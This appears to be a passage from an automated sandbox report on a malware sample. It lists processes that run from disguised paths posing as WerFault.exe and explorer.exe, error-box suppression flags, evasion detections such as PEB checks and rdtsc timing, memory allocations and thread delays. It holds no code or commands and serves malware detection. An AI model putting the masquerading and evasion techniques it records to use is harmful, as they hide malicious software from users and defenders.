Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\regedit\explorer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-249

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Memory allocated: EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Memory allocated: 2A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Memory allocated: 2810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Memory allocated: 1200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Memory allocated: 1AB80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Memory allocated: C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Memory allocated: 1A630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	Memory allocated: FC0000 memory reserve \| memory write watch
Source: C:\Windows\regedit\explorer.exe	Memory allocated: 1ACD0000 memory reserve \| memory write watch
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Memory allocated: 1080000 memory reserve \| memory write watch
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Memory allocated: 1AE70000 memory reserve \| memory write watch
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Memory allocated: CC0000 memory reserve \| memory write watch
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Memory allocated: 1A7C0000 memory reserve \| memory write watch
Source: C:\Windows\regedit\explorer.exe	Memory allocated: 8C0000 memory reserve \| memory write watch
Source: C:\Windows\regedit\explorer.exe	Memory allocated: 1A390000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Code function: 2_2_004012D9 rdtsc

2_2_004012D9

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 599321	Jump to behavior
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\regedit\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Thread delayed: delay time: 922337203685477
